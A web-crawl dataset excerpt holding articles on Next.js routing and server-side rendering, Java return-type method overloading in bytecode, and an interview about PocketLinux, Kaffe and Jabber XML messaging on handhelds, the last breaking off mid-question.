text
stringlengths
454
608k
url
stringlengths
17
896
dump
stringclasses
91 values
source
stringclasses
1 value
word_count
int64
101
114k
flesch_reading_ease
float64
50
104
How to get React SEO-friendly by using Next.js Written by Arnaud Lewis in Engineering on September 10,2018. The goal for Next.js is to offer a developer experience close to what you have with a simple React application, by gaining all the benefits of a Universal App. It reduces the learning curve and simplifies the adoption from the React community. This article is meant to demonstrate the concepts of Universal Application and how Next.js tackles it. We provide some detailed code snippets coming from a fully functional example which you can explore. Setting up your environment You only need to have Node.js installed on your system to begin building Next.js applications.You’ll also have to set up the following dependencies in your project: next: npm install --save next Express: npm install --save express next-routes: npm install --save next-routes These three libraries are all the basics that you need to get started. Next.js’ default page-based routing Next.js offer a routing system out of the box. It’s completely page-based which offers a configuration-free routing system.Paged-based routing means that one component is linked to a url based on the path of your component in the project. When getting started with Next.js, you have two simple actions to build your first page:- In your source folder, create a folder named pages- Build your first React component pages/index.js import React from 'react'export default () => <div> <p>Hello Next.js</p> </div> By visiting the homepage of your website, you should see Hello Next.js displayed there.With a page-based routing, you have 1 component for each page. This is a common system that you can find in static site generators. Building a dynamic routing Next.js’ built-in page-based routing is easy to use, but most of the time you need dynamic URLs. Imagine that you need a dynamic parameter that you want to manage on the route level and inject it in your component as props. This is where dynamic routing becomes necessary. Next.js has a built-in server implementation which will need to be replaced to implement dynamic routing.As you’ll see soon, you’re going to set up a simple Express server. Express is a famous tool for the Node.js community because of its simplicity and its powerful url matching system. Configuring your routes In this example, you will discover next-routes, an easy tool for handling both server and client side routing. Because we use an Express server implementation, your routes will have the exact same syntax in terms of pattern matching which you can find in details in the Express documentation. routes.js const routes = require('next-routes') module.exports = routes().add('index', '/').add('products', '/products').add('product', '/products/:uid').add('bloghome', '/blog').add('blogpost', '/blog/:uid').add('preview', '/preview').add('notfound', '/*') In the example above, you have two dynamic routes for aproduct and a blogpost. In both cases, we’re passing a uid parameter to the corresponding component. Setting up your server Once your routes are ready, your just need to set up your server and provide your routing configuration to it. server.js const next = require("next")const routes = require("./routes")const PORT = parseInt(process.env.PORT, 10) || 3000const app = next({ dev: process.env.NODE_ENV !== "production" })const handler = routes.getRequestHandler(app)const express = require("express")app.prepare().then(() => { express() .use(handler) .listen(PORT, () => process.stdout.write(`Point your browser to:{PORT}\n`))}) Updating your build environment to include your server Once you’ve implemented an Express server, you need to take it into account and update your build scripts. package.json "scripts": { "dev": "node server.js", "build": "next build", "postinstall": "npm run build", "start": "NODE_ENV=production node server.js"} Navigating in your application This is where next-routes becomes really convenient.By exporting your routes, you also have a fully featured router which you can use to navigate through your application without worrying if you’re on the server side or on the client side.You can navigate between components in two ways: 1. The declarative way with a Link component: pages/blogpost.js: import React from 'react'import { Link } from './routes'export default ({ query }) => <div> <div>Welcome to my blogpost with a dynamic UID: {query.uid}</div> <Link to='bloghome'> <a>Blog Home</a> </Link> </div> Your can observe two things here.First, your have a variable named query coming from the props which contains your dynamic parameter uid. It comes from your routing system.Second, your have a component Link coming from your routes configuration. It allows you navigate between components without doing a full page reload. 2. The imperative way with a Router object: import React from 'react'import {Router} from './routes'export default class extends React.Component { handleClick () { Router.pushRoute('bloghome') } render () { return ( <div> <div>Welcome to my blogpost with a dynamic UID: {this.props.query.uid}</div> <button onClick={this.handleClick}>Blog home</button> </div> ) }} In this case, you’re getting the Router object from your route configuration. It allows you to manage your routing programmatically instead of doing it from the template. Fetching external data asynchronously Querying your content from an external API Once your application is set up, you’ll want to feed it with some actual content, most likely coming from an external source. This is painful to do so in a Universal App but Next.js offers an easy way to handle it. Along with the well known React component lifecycle, each page component is able to implement an async function getInitialProps which provides the fetched data as props in your component. import { Link } from './routes'import { Client, linkResolver } from '../components/prismic'import { RichText } from 'prismic-reactjs'export default class extends React.Component { static async getInitialProps({ req, query }) { const blogpost = await Client(req).getByUID('blog_post', query.uid) return { blogpost } } render() { return ( <div>Blogpost name: { RichText.render(this.props.blogpost.data.name, linkResolver) }</div> ) }} In the simple example above, we asynchronously fetched data from an external source and populated it into our component. Gaining speed by prefetching your content Next.js also has an embedded mechanism to prefetch all the related pages to help speed up your website and offer a really fast user experience.To prefetch a link, all you have to do is add a prefetch property to the link. <Link prefetch to={`/post/${show.id}`}> <a>{show.name}</a></Link> Basically, for each Link with a tag prefetch, Next.js pre-fetches the component’s JSON representation in the background, via a ServiceWorker. If you navigate around, odds are that by the time you follow a link or trigger a route transition, the component has already been fetched. Furthermore, since the data is fetched by a dedicated method getInitialProps, you can pre-fetch aggressively without triggering unnecessary server load or data fetching. A closer look at the Next.js implementation of Universal App Universal Apps are a kind of application which are built purely in JavaScript with Node.js on the server side.This architecture became really famous with React but is currently available for many client-side frameworks or libraries such as Angular, Vue.js, etc.Basically, It allows you to share your components between the server and the client so you can render it on both sides. How your components are rendered on the first load The first load is always handled by the server which renders the component as static markup and then sends it to the client to simply render that HTML.Once it’s rendered, the browser loads the JavaScript and applies all the browser handlers to your components such as ‘onClick’, ‘onChange’, etc.Doing so prevents you from waiting for your client to load your JavaScript and then render your component. How to feed your components with data on both sides Most of the time, your components will rely on external data to be rendered. External data also usually means asynchronous data. Generate HTML for the client On the server side, Next.js accesses the query required for the requested page so it can compute this query and provide the data to your component before sending it to the client.Once the query is done, Next.js will simply send a static markup to your browser and re-execute React to bind all the browser events. Recover the data from the client To avoid your component making the same query twice, Next.js will serialize the data along with the HTML and provide it to your components. Next.js exposes a static asynchronous getInitialProps function for each page component and then serializes the fetched data in a script tag. On the client side, it reads the data in the window and provides it to the components as props. This mechanism is called rehydratation. Next.js for what purpose? Here at Prismic, we consider Next.js as a convenient library for people who are used to React but struggle when it comes to SEO and complex architecture to address it.It’s quite easy to get started but also very powerful since it offers a comfortable space for customization.Integrating marketing content and SEO pages has become very productive with Next.js. You can find a fully functional example of a coffee shop built with Prismic and Next.js, and all the sources here on GitHub.All the examples above are inspired by this sample.
https://prismic.io/blog/seo-with-react-and-nextjs
CC-MAIN-2021-31
refinedweb
1,578
58.18
It is an accepted fact that Java does not support return-type-based method overloading. This means that a class cannot have two methods that differ only by return type -- you can't have int doXyz(int x) and double doXyz(int x) in the same class. And indeed, the Java compiler duly rejects any such attempt. But recently I discovered a way to do this, which I wish to share with all. Along the way, we will also explore some rudiments of Java bytecode programming. Required Tools The tools that we need for this exploration are rather simple: the JDK, a Java assembler, a text editor, and a bytecode engineering library. We will use the Jasmin Java assembler and the ASM bytecode manipulation framework. Basics of Method Invocation Let us review the prominent features of method invocation in the JVM. Whenever a method is invoked, a new frame is created on the execution stack. Each frame has a local variable array and an operand stack. When the frame is created, the operand stack is empty and the local variable array is populated with the target object this (in case of instance methods) and the method's arguments. All the processing occurs on the operand stack. The maximum number of local variables and stack slots that will be used during the method invocation at any given moment must be known at compile time. To invoke a method on an object, the object reference (in the case of instance methods) and then the method arguments in the proper sequence must be loaded on the operand stack. The method should then be invoked using an appropriate invoke instruction. There are four invoke instructions: invokevirtual, invokestatic, invokeinterface, and invokespecial. The different instructions correspond to different method types. The invokevirtualinstruction is used to invoke instance methods; invokestatic for static methods; invokeinterface for interface methods; and invokespecial for constructors, private methods of the present class, and instance methods of superclass. To return a value, be it a primitive value or a reference, the value must be loaded on the operand stack and the appropriate return instruction should then be executed. The instruction return returns void; areturnreturns a reference; dreturn, freturn, and lreturn return a double, float, and long respectively; and finally, ireturn is used to return an int, a short, a char, a byte, or a boolean. Basics of Bytecode Programming Let us now start with programming. We will create a Hello World program in Java and its equivalent Java assembly code in Jasmin. Then, by comparing the two, we can pick up the rudiments of Java bytecode programming. Here goes the code: public class HelloWorld { public static void main(String[] args) { System.out.println("Hello World"); } } Let us write the Java assembly code equivalent to the above Java program in Jasmin: ; Filename : HelloWorld.j ; The semicolon comments out this line. .class public HelloWorld2 .super java/lang/Object .method public <init>()V .limit stack 1 aload_0 invokespecial java/lang/Object/<init>()V return .end method .method public static main([Ljava/lang/String;)V .limit stack 2 getstatic java/lang/System/out Ljava/io/PrintStream; ldc "Hello Bytecode World" invokevirtual java/io/PrintStream/println(Ljava/lang/String;)V ; For this code to compile, invokevirtual and its ; argument must be on the same line. return .end method To compile the HelloWorld.j file, use java -jar jasmin.jar HelloWorld.j to get a HelloWorld2.classfile. This class file can be run as usual. Now let us go through the assembly code and compare it with the Java code where necessary. In bytecode, we do not have the luxury of import statements. We must specify the fully qualified classnames, and that too in a different way. Here, we use the forward slash ( /) as the package delimiter instead of the usual period ( .). Hence, instead of Object, use java/lang/Object. This representation is called the internal form of the class name. The .class, .super, and .end method directives are pretty self-explanatory. Let us take a look at the .method directive. The publicor static keywords are the attributes of the method. The last token of the .method directive is the method name and the method descriptor concatenated into one token. A constructor is always named <init> and in bytecode we must always specify the constructor explicitly. The method descriptors deserve a special elaboration here, since our attempt to do return-type-based overloading hinges on method descriptors. Method descriptors are composed of type descriptors of parameters and return value. The type descriptors of various Java data types are listed in Table 1.1. The descriptors of primitive types as well as voidare pretty simple. However, descriptors of reference types may need further elaboration. Hence, table 1.2 lists descriptors for some sample reference types. To form a method descriptor, type descriptors of parameters are concatenated without any spaces inside a pair of parentheses, followed by the type descriptor of return type. In a class file, the method descriptor must be unique for every method. Table 1.3 lists some sample method descriptors. Coming back to the assembly code, inside the <init> method, the .limit stack 1directive declares that the maximum number of stack slots used in this method at any given time is 1. aload_0 loads the value at index 0 in local variable array onto the operand stack. This value is nothing but the reference to the target object this. On this reference, the invokespecial instruction invokes the no-argument constructor of the Object class, the superclass of the present class. And finally, the return instruction returns from the constructor. Now let us see what's new inside the main method. The getstatic instruction is used to load a static field of a class onto the operand stack. For this, the field name in internal form and the type descriptor of the field must be specified. Here, it loads the out static variable of the java.lang.System class, the type descriptor of out being Ljava/io/PrintStream;. The ldc instruction is used to load constants onto the operand stack. Here, it loads the reference of the "Hello Bytecode World" string object. And finally, the invokevirtual instruction invokes the println method on the out object. Note that while invoking a method, a full method descriptor must be specified. This sequence of three instructions stands for the System.out.println("Hello Bytecode World"); statement in Java. Implementing Return-Type-Based Method Overloading As noted in the last section, while invoking a method, a full method descriptor must be specified, and in a class file, the method descriptor must be unique for every method. So why can't we overload a method based on return type? In Java, we call a method by its name and arguments, not by its return type or method descriptor. While calling a method, the return type does not play any part in deciding which overloaded method should be called; in fact, there's no syntactic need to do anything with the return value at all. So there would be no way to distinguish which method we mean to call, if return-type-based method overloading is allowed. But there is no such limitation for bytecode. The method descriptor is capable of distinguishing two methods on the basis of their return types, even if their parameters are same. To achieve our objective, we must bypass the Java compiler and use assembler instead. Let us see how to do this. Following is the assembly code for a class named Overloaded, containing two instance methods: void returnDifferent() and String returnDifferent(). The void returnDifferent()prints Returning Void and returns nothing, whereas the String returnDifferent() does nothing and returns a String -- a hardcoded value of Returning String. ;Overloaded.j .class public Overloaded .super java/lang/Object .method public <init>()V .limit stack 1 aload_0 invokespecial java/lang/Object/<init>()V return .end method .method public returnDifferent()V .limit stack 2 getstatic java/lang/System/out Ljava/io/PrintStream; ldc "Returning Void" invokevirtual java/io/PrintStream/println(Ljava/lang/String;)V return .end method .method public returnDifferent()Ljava/lang/String; .limit stack 1 ldc "Returning String" areturn ; returns a reference .end method How to Invoke the Overloaded Methods We have a class file that supposedly contains two methods overloaded on basis of return type. But how do we verify it? How do we call those methods? The Java class file format contains a methods table. Each value in this table is a structure containing a complete description of a method in the class or interface. In the case ofOverloaded.class, there will be two methods named returnDifferent. So, if we were to use a statement like returnDifferent(); in Java code, the Java compiler would look up the table and encode a call to the first method having the required name and parameters. We would end up with a call to one specific method, always. My experience is that it is always the first method in the assembly code that gets called. Are we stuck with methods that we cannot use? Fortunately, reflection comes to our rescue here. The following code invokes these methods using reflection. import java.lang.reflect.Method; public class CallOverloadedMethods { public static void main(String[] args) throws Exception { Overloaded oc = new Overloaded(); Class c = Overloaded.class; Method[] m = c.getDeclaredMethods(); for (int i=0; i<m.length; ++i) { if (m[i].getName().equals("returnDifferent")) { if (m[i].getReturnType().getName().equals("void")) m[i].invoke(oc, new Object[]{}); else if (m[i].getReturnType().getName().equals( "java.lang.String")) System.out.println(m[i].invoke(oc, new Object[]{})); } } } } This code iterates over all the declared methods of the Overloaded class and looks for methods named returnDifferent. It assumes that all the returnDifferent methods have empty parameter lists. It only checks each of the returnDifferent method's return type and then uses the method in an appropriate way. Compile this class and run. Voila. It runs perfectly, giving the expected output. We have implemented return-type-based method overloading in Java. Is this Practically Useful? Although we have been able to pull this off, you may be wondering if it is of any practical use. After all, we can not call those overloaded methods without resorting to reflection. So, what is the value? It turns out that there is a useful application. Suppose that a class is required to implement two interfaces that have methods with identical names and argument lists, differing only in return type. Using normal Java code, we cannot have a class that implements both the interfaces. But using the technique described above, we can have such a class. Moreover, we do not need reflection to use those methods. This is because when we call a method on an interface reference, the relevant method's descriptor, as specified in the interface class file, is automatically used to make the call. Let us see a concrete example. Consider two interfaces as follows: interface Interface1 { void doSomething(); } interface Interface2 { String doSomething(); } To implement these two interfaces, we can write assembly code as follows: ;ImplementBoth.j .class public ImplementBoth .super java/lang/Object .implements Interface1 .implements Interface2 .method public <init>()V .limit stack 1 aload_0 invokespecial java/lang/Object/<init>()V return .end method .method public doSomething()Ljava/lang/String; .limit stack 1 ldc "Hello from STRING" areturn .end method .method public doSomething()V .limit stack 2 getstatic java/lang/System/out Ljava/io/PrintStream; ldc "Hello from VOID" invokevirtual java/io/PrintStream/println(Ljava/lang/String;)V return .end method Now we can access both of these methods using normal Java code, as demonstrated below: public class UsingImplementBoth { public static void main(String[] args) { ImplementBoth ib = new ImplementBoth(); ((Interface1)ib).doSomething(); System.out.println(((Interface2)ib).doSomething()); } } Further Enhancements to this Technique Now this technique has proved to be useful. But still, we need to code in Java assembly for its implementation, which is quite troublesome, especially with complex logic. Can we find some way to use this technique and still be able to code in Java rather than assembly? Certainly. The byte code engineering tools allow us to add or remove a method or field, or to change the class attributes of a compiled Java class. So we can have our class implement one of the interfaces and we can write the code for the other interface's method in some other method. Our Java code would then look like this: public class BetterTechnique implements Interface1 { void doSomething() { // -- Complex code -- return; } String delegatedDoSomething() { // -- Complex Code -- return someStringValue; } } Now we compile this code to get BetterTechnique.classfile. Then, using bytecode engineering tools, we mark this class as implementing the Interface2 interface and add the method String doSomething(). This method will need to be coded in assembly, but we just need to call delegatedDoSomething() from that method and return the result. So it's not a big deal. See the Resources section for the sample code, which includes all the necessary files for this example, in theEnhancedTechnique folder. For step-by-step instructions about compilation and modification, please go through theReadMe.txt file. To simplify the use of this technique, it is possible to develop an annotation for a class to indicate which method is to be overloaded, which is a delegate method, and which additional interface should be implemented by the class. Then a tool can inspect the class file reflectively, and if it encounters the said annotation, it can automatically transform the class file accordingly. An interested reader may explore these possibilities. Conclusion We have demonstrated that it is possible to overload Java methods based solely on their return types. However, whether this undocumented feature of Java is a deliberate choice or an accident can only be clarified by the more knowledgeable people here. I guess there may be some internal use of this feature for JVM, or else why would it be put in? Anyway, let us look forward to interesting and enlightening discussions. Resources - Sample code for this article - JVM specification - Jasmin home page - An easy bytecode instruction reference - ASM home page - ASM tutorial
https://community.oracle.com/docs/DOC-983207
CC-MAIN-2017-26
refinedweb
2,348
57.27
Hi, guys. Need a bit of help. I have a program with try/catch block. It works fine till I press 'q' to quit program, then it gets into an infinite loop. Can anybody advise what I am doing wrong?Code:#include <iostream> #include <iomanip> #include <string> using namespace std; const double CM_PER_INCH = 2.54; const int INCHES_PER_FOOT = 12; int main() { int feet, inches, totalInches; double centimeter; char option; string nonDig = "You need to enter numeric digits please."; while (option!='q') { try { cout << "Please enter the length in feet and inches or enter 'q' to quit the program: "; cin >> feet >> inches; cout << endl; if (feet < 0 || inches < 0) throw string ("Negative number"); else if (!cin) throw nonDig; totalInches = INCHES_PER_FOOT * feet + inches; centimeter = CM_PER_INCH * totalInches; cout << "The number in centimeters is: " << centimeter << "cm." << endl; } catch (int x) { cout << "Please enter other set of numbers." << endl; } catch (string s) { cout << s << endl; } catch (...) { cout << "Error in program. Try again" << endl; } } return 0; }
https://cboard.cprogramming.com/cplusplus-programming/154551-problem-while-loop.html
CC-MAIN-2017-22
refinedweb
160
75.3
From Pockets to Packets In September (Issue 77), our cover story was titled ``The Next Bang: The Explosive Combination of Embedded Linux, XML and Instant Messaging''. It was one of those pieces that was almost entirely about enabling technologies, rather than the goods they produced: a watch this space kind of thing. At the time there was plenty to find in each of three named categories but nothing yet in that shared space. Now there is. The first thing to appear in the space (according to the parties involved--we're in open-source territory, so there may be others) is what's coming out of work going on between the ``Jabber Guys'' (both at Jabber.org and Jabber.com) and Transvirtual, the small but inveterate embedded development company that conspicuously offers PocketLinux, which they demo'd amidst eager mobs of curious programmers, at both LinuxWorld Expo in August and Atlanta Linux Showcase in October. In November at Comdex they will be demonstrating the first results of this new collaboration: two Compaq iPAQ handhelds exchanging XML streams over Jabber's all-XML open-source instant-messaging system. Yesterday I talked with three of the Transvirtual guys: Timothy Wilkinson, Founder, President and CEO; Tony Fader, Vice President of Marketing and Paul Fisher, Senior Developer. I successfully recorded the conversation with Tony and Paul, and the results follow. ELJ: Are you the first to put embedded Linux and XML-based instant messaging together in some way? Paul: Yes. At least we're the first to use Jabber, which is XML-based instant messaging, as a generic transport. Tony: There are several leading-edge things Transvirtual is doing that are attracting quite a bit of interest. First, we've announced the opening of the Custom Edition of Kaffe, our clean-room implementation of a Java-compatible Virtual Machine. The Custom Edition of Kaffe has extensions and optimizations that are targeted directly at the embedded space. Second, we've built a framework down into Linux and up into XML that allows you to write your applications in XML and Java and then run them on Linux. Third, as Paul pointed out, we're using Jabber as our transport system. Paul: There is actually a lot of application work that can just be done in XML-land, which is kind of cool. Tony: Most applications today are moving toward a document-centric, web-centric model, so XML is obviously an exceptionally elegant solution. ELJ: Tell us more about Kaffe. It's a JVM-- Tony:It's Java-compatible, but for legal reasons, we can't say it's a Java Virtual Machine. The fact of the matter is that it's no longer ``just a JavaVM'' in any case, so we prefer to call it Kaffe OpenVM. ELJ: It's yours, right? Tony: Kaffe is the community's. The story behind the birth of Kaffe is that Tim Wilkinson read the license for Java 1.0 upon its release and said, ``Hogwash, I'm not signing that.'' He then proceeded to clean room the initial specification in his spare time over the course of next three weeks. The first implementation of Kaffe was made available for FreeBSD in late 1996. ELJ: And how is it more than Java? Tony: It's really a superset of the Java specification. We have extensions to our AWT (Abstract Windowing Toolkit) to support the integrated framebuffer graphics library. We have extensions to Kaffe for integrating XML. We have extensions down into Linux for implementing things like Video for Linux and MP3 playback. ELJ: BSD was in the embedded space then? Tony: No, that first BSD version was for the Desktop Edition (GPL). At that time, we maintained a custom edition in-house as well. To generate revenue we ported the custom edition to embedded OSes like Wind River's VXworks, LynxOS, SMX, WinCE and others. At one point we had ports of Kaffe to something like 20 different embedded operating systems. Of course, all those operating systems are now being overwhelmed by the tidal wave that is Linux. Today, because of Linux's exceptional portability, scalability and open-source, we see the OS market for the embedded space in a more liquid state than at anytime in the last 20 years. ELJ: In the early 90s I hung around the embedded space when I worked with Hitachi launching the SH processor. In those days the embedded world was in the Middle Ages. Every industry was an isolated city-state that rose like a stovepipe from the arcane combination of some processor and some OS. Tony: You rolled your own, yes. ELJ: Each profession was isolated, separate and noncommunicative. Security systems, factory automation, process control, you name it--they were all off in a world unto themselves. You can even see that in your own home when you hire professionals to install intelligent telephone, security, computer networking and home entertainment systems. They're all entirely separate professions, using entirely separate solutions. But just this year when we started covering the topic in depth, we found that Linux had kind of taken over, and there is suddenly the promise of embedded intelligence connecting into the Net and the Web. Suddenly you can develop applications that work across and through all these different professions. It's all hugely promising, but where would you say we stand right now? Tony: I would say that Linux has just emerged as a viable solution in the embedded space. Perhaps just in the last year. What we saw in classical embedded systems was motion towards POSIX compliance. We saw companies--Tandem, Wang and all these other old terminal systems, each with their own standards and problems. With the advent of real networking and open-source developmental tools, we saw motion in the entire embedded space toward POSIX compliance. It was a very small and logical step to go from closed source POSIX-compliant operating systems to open-source POSIX-compliant operating systems. And that's what Linux is. Paul: And we're getting chips fast enough now to run Linux. And memory is a lot cheaper these days, along with processing power. ELJ: It's interesting to me that you guys have been around embedded for all this time. One interesting thing is that a bunch of these classical embedded OS guys are now vending Linux. Colin Hunter is a founder of Transmeta. Jim Ready has MontaVista. Michael Tiemann and Cygnus are part of Red Hat. Lynx is now LynuxWorks. Tony: Yes, momentum in the industry has been amazing. It's really very exciting. ELJ: It's amazing to me that while everybody is waiting for Linux to make it on the desktop, it seems to have leapfrogged down into embedded devices all over the place. It may still be nowhere--relative to Windows--on the conventional desktop and highly competitive in servers, but it is really, at the very least, in a position to win in the embedded space. Paul: And it's not like Linux is ever going to go away, either. Tony: When I moved from development into marketing, I went back to Windows just so I could interoperate with the marketing teams at outside companies. Now, I'm in the process of moving back to Linux. The simple fact is that Windows just can't keep up anymore. Linux development is moving way too fast. Because of this real-world experience, I would argue that Linux is starting to become viable even on the desktop. ELJ: The ironies abound. It's so easy to get into the versus thing. Linux is supposedly engaged in these battles for desktops and servers. But if you look at the numbers, both Linux and Windows are succeeding in both spaces. Both are growing. Nobody is losing here. But in the embedded space, Linux is on a huge roll. I think Linux really does look like the big winner here. It's kind of a baseline thing. A fundamental commodity rather than a competitive OS in the usual sense. Tony: Your point about Linux leapfrogging the classic desktop and going into these small resource-constrained environments is absolutely true. It is how things will be. ELJ: You guys came up with PocketLinux, which has been a huge hit at the Linux shows. I couldn't even break through the crowd to talk to you. Tony: Yeah, it was madness. We love it! ELJ: You had the VTech Helio there, which I gather is a development platform, primarily. Where do you guys see that business going? I'm talking about the non-Palm PDAs: the Helio, the Casio. They're more muscular than the Palms, but they have some drawbacks too--size, for example. Paul: The Palm, unfortunately, is still too weak in the processor to support Linux in a useful way. It's really made just to do what it does. ELJ: You need these other, somewhat more muscular PDAs, to run Linux, then. Paul: Yeah. And there are trade-offs. Tony: They eat through batteries. They're just atrocious at that. Environmental accountability is a very real concern for us. Presently the Helio runs off AAA batteries, which certainly leaves something to be desired. Paul: We just put power management into the Helio. Tony: And we've recommended to VTech that they go to a rechargeable battery model, which they are doing, I believe. ELJ: Still, everybody's trying to keep down--rather than up, size-wise--with the Palm, which kind of invented the form factor. Tony: Right. ELJ: But the key thing at this stage, it seems, is that you now have a Linux development platform that is very inviting to third parties. Add in XML-based instant messaging, and it opens up all kinds of possibilities. Tony: It's not just XML messaging. The GUI and data layers are XML too. XML forms the entire presentation layer of the device. The GUI can be written like web pages, and applications are written like web apps. It's an elegant solution to some very challenging problems. Paul: In the case of PocketLinux, it's really just XML being shipped around the whole system internally. So it makes sense to ship it around externally as well, which is where Jabber comes in. We're both all-XML. ELJ: And if you look at XML as something you ship--that you transport--Jabber starts to make sense. Paul: Exactly, it provides an addressing and delivery mechanism for XML data. ELJ: XML routing, basically. Paul: Right. If we have an XML document, we just wrap it up in a Jabber packet, address it, ship it off to the Jabber server and that's all we care about. It's the server's responsibility to make sure it gets delivered. ELJ: A handy thing with Jabber is that, unlike the closed-server instant-messaging systems (AOL and ICQ especially), Jabber deploys, like Apache or Sendmail, as a freely available server-based Internet service. Paul: Yes. And the Jabber server is also designed to be very modular, so it's easy to plug other services into the server. ELJ: How big can it scale? Can Jabber serve a zillion clients at one time? Paul: There is a rewrite of the Jabber server right now that allows up to 50,000 users on one server. Since Jabber is highly distributed, it's easy to have a server farm that allows scaling to an infinite amount. Just like the web scales. And it's really fast. They've been doing some very good work at scaling it up. Tony: My understanding is that they have rewritten it to make it extraordinarily scaleable, which is really optimal for our use. Paul: On the commercial side they're angling towards enterprises, telephone companies and ISPs, where you just have an insane number of users. ELJ: One of the things I want to explore with you guys is what Jabber and embedded XML-based IM do that is inherently extremely different than what one gets from conventional IM, which we associate with buddy lists and chat and AOL and ICQ. Conceptually, passing around XML documents is portentous for all kinds of interesting things that have little or nothing to do with those traditional IM activities. How are you guys looking at that, and how are you imagining what people are going to be doing with it? It seems to me that we have to work a bit at breaking away from the legacy meanings of IM. Paul: One of the reasons that the Jabber.com guys are so into us is that we're both interested in real-time conferencing--anything that's relatively real-time. One of the things they recently rolled out was the RSS news feature, where say, using your client you could sign up to get a certain news feed. So we have this Weather Underground example. Whenever the weather changes, an instant message is sent out as a fresh news item. You can have weather updates pushed out over XML instant messages from Weather Underground to clients who need local weather reports, on say, their PDA. ELJ: I see a really good business in being a developer here. Tony: Especially since it's really easy to throw together an application--so easy it's like writing active web pages. Paul: That's what we're so excited about. Throw together some XML, a couple lines of Java and you're done. It's a lot more rapid than developing, say, standard Java applets or programs. ELJ: Give me some examples, even if they are not developed yet, of what this invites. Paul: You need your standard PDA applications, which have to get written. ELJ: Meaning that somebody has to replicate what the Palm does. Paul: The idea, however, is to make the apps network-aware.. ELJ: I look at the VTech Helio, and I see something that still doesn't do what the Palm does but is aware of the Net, which the Palm is not. Paul: That's pushing it a bit with the Helio. It's really the next generation of PDAs that are going to be connected. Tony: The Helio is a great development because of its limited resources. It is a challenge to write effective, functional Palm III-style applications that are ready to connect to the network in such a constrained environment. Something to point out about PocketLinux is that we've extrapolated away from hot-syncing the Helio to a desktop machine and instead are syncing directly to the web. This is something that we're building into the framework from the ground up. Paul: So, say you enter in a phone number, or some sort of contact on your PDA. You sync onto your Web site and that can go to your telephone, for instance. There is no reason you should enter anything more than once. The data is stored on a Jabber server, which can just be picked up by whatever device needs that data. ELJ: Within six feet of me are two Linux boxes, two Macs, two PCs and two Palms. If what I'm syncing fundamentally is XML data that lives on a Jabber server, I can sync all of those. Right now getting those two Palms to deal rationally with more than any one of those boxes at a time is nearly impossible. I'm waiting for a shared calendar. What you guys are doing gives me hope--something web native that ignores the hardware platform crap seems the way to go. Paul: The two areas we're focusing on right now are PDAs and the Web. The idea is to store your calendar--or whatever--on a Jabber server as an XML document. Tony: There are open-source projects, like the Gnome e-mail system, that use XML as the data storage format. This makes syncing a simple thing. Paul: Since they're based on Gnome, all of Helix Code's formats are XML. We're actually working on a calendar program right now. When it's done, it'll be able to grok their format. You'd store it on a Jabber server, and whether you want to grab it with your Helix Code Evolution app, from the Web, or from your PDA, it's easy to do.You might also want to check out Brainfood, which does a lot of our Web development for us. They're involved with Debian. ELJ: And coordinating changes would be up to the application observing all this? Paul: You'd essentially just issue an XML request that says, ``Please get me Doc Searls' current calendar.'' Then the Jabber server would respond back with this XML that's your current calendar. It would be the responsibility of the calendar app to figure out what to do with that data. That's really a good example of using Jabber as a generic XML transport. ELJ: So the app developers are essentially writing to that transport as a platform? Tony: Right. ELJ: So how did you discover Jabber? What happened there? Tony:. ELJ: Does what you're doing, plus what the Jabber guys are doing, plus the state of the art with the Linux kernel, plus trending in mobile devices like phones and PDAs...do these add up to a platform that flat-out invites in a whole new category of development? Are we at the point where I could put those together, plus a development plan, go to a VC and get funding? Tony: To write applications? ELJ: Yes. Paul: I'd have to say yes. Tony: Yeah. I guess I'd have to agree. Just look at the proliferation of open-source solutions in our industry. If you've been watching the growth of Linux in general, and the blossoming of Linux in the embedded markets in particular, it's already very compelling. When you add to that equation the elegance of Kaffe OpenVM and XML as a solution to a complex set of challenges having to do with hardware differentiation...well, PocketLinux gets very, very attractive. Paul: We actually have a ship date coming up as well, going out to various vendors, in the Comdex time frame. This is what people will be writing applications for. It's the PocketLinux framework. Tony: If you look at these systems and understand the ubiquity of these standards, it becomes clear that this is an optimal set of tools.. Paul: The current demo applications we have for showing off the application framework are proof-of-concept things. So it's really a case of having a framework that's ready for developers coming in--including ourselves. ELJ: I would imagine that this makes you ripe for acquisition. Tony: I'll tell you, Doc, I'm having a blast. I'm having so much fun. When we founded this company in 1997, it was Tim and myself, with Peter [Mehlitz, now Vice President of Engineering], still in Germany. Tim and I used to work in an unheated room down on the fourth Street promenade in Berkeley. Today, to see the cream of the crop of Linux, Java, XML and embedded technologists working feverishly on this project here, is exceptionally gratifying. I don't want to stop doing this. Acquisition isn't on my radar. I want to bring these tools to the industry and the community. ELJ: Would you call PocketLinux an embedded distribution, then? Tony: It's an end-to-end platform. A complete solution. PocketLinux as a system is comprehensive in its scope. ELJ: This works on any of the various processors? StrongArm, PowerPC... Paul: That's where Linux benefit comes in. We don't have to spend our time writing the core operating system. ELJ: Help me out a little bit with this. Linux originally addressed an x86 instruction set. So how do you deal with the differing metal there? Paul: If you can give us a device that runs Linux, we can port PocketLinux to it. Tony: I believe Linux has been ported to more processors than any other operating system, by an order of magnitude. That's one of the reasons why it was so attractive to us. Paul: In the case of the MIPS port for the Helio, we're doing a lot of the kernel work there for power management, in terms of speaker support and other areas like that. Lots of other developers are out there too, making these kernels better and faster and porting them to different hardware. ELJ: Does any of your work end up back in the main kernel? Tony: All the time. Paul: There are a couple of little branches of the kernel for some of the embedded ports, and our stuff has made it into those. What's used for the MIPS, for example, is back in that tree. Tony: We do not maintain an internal CVS (Concurrent Versions System) tree for the kernel. We have people who hack the kernel, but those changes and optimizations are handed directly back into the Open-Source community and freely available via CVS trees on the Web. ELJ: What happens two or three generations from now, when these devices get mobile and connect via Bluetooth? Paul: That's when you start to realize the benefits of the platform. The killer app is wireless. ELJ: What are the gating factors for that? Is it Bluetooth? Is it guys putting this in hardware? Is it SyncML? Paul: Well, SyncML just defines XML DTDs for specific PDA appss. But the first step in terms of real wireless support on PDAs will come in the form of Bluetooth. Motorola is planning to ship their first full Bluetooth suite first quarter next year. Tony: At Comdex we'll be showing two iPAQs, both with 802.11 wireless LAN cards in them, 100 feet away from each other, sending instant messages back and forth. This is stuff we have here, in house, now. The transport mechanism is Jabber. Paul: I type in a message in my iPAQ, and it goes from there into the Jabber server and from there to the other iPAQ. Tony: It's wireless instant messaging in an open-source framework. We're really excited about it. ELJ: How about Bluetooth? Tony: That's coming. Paul: One of the great benefits of Bluetooth is that, in terms of power requirements, it requires a lot less than sticking in an 802.11 card in your iPAQ or laptop. It's very low power. That's one reason it got delayed so long. ELJ: What about the notion 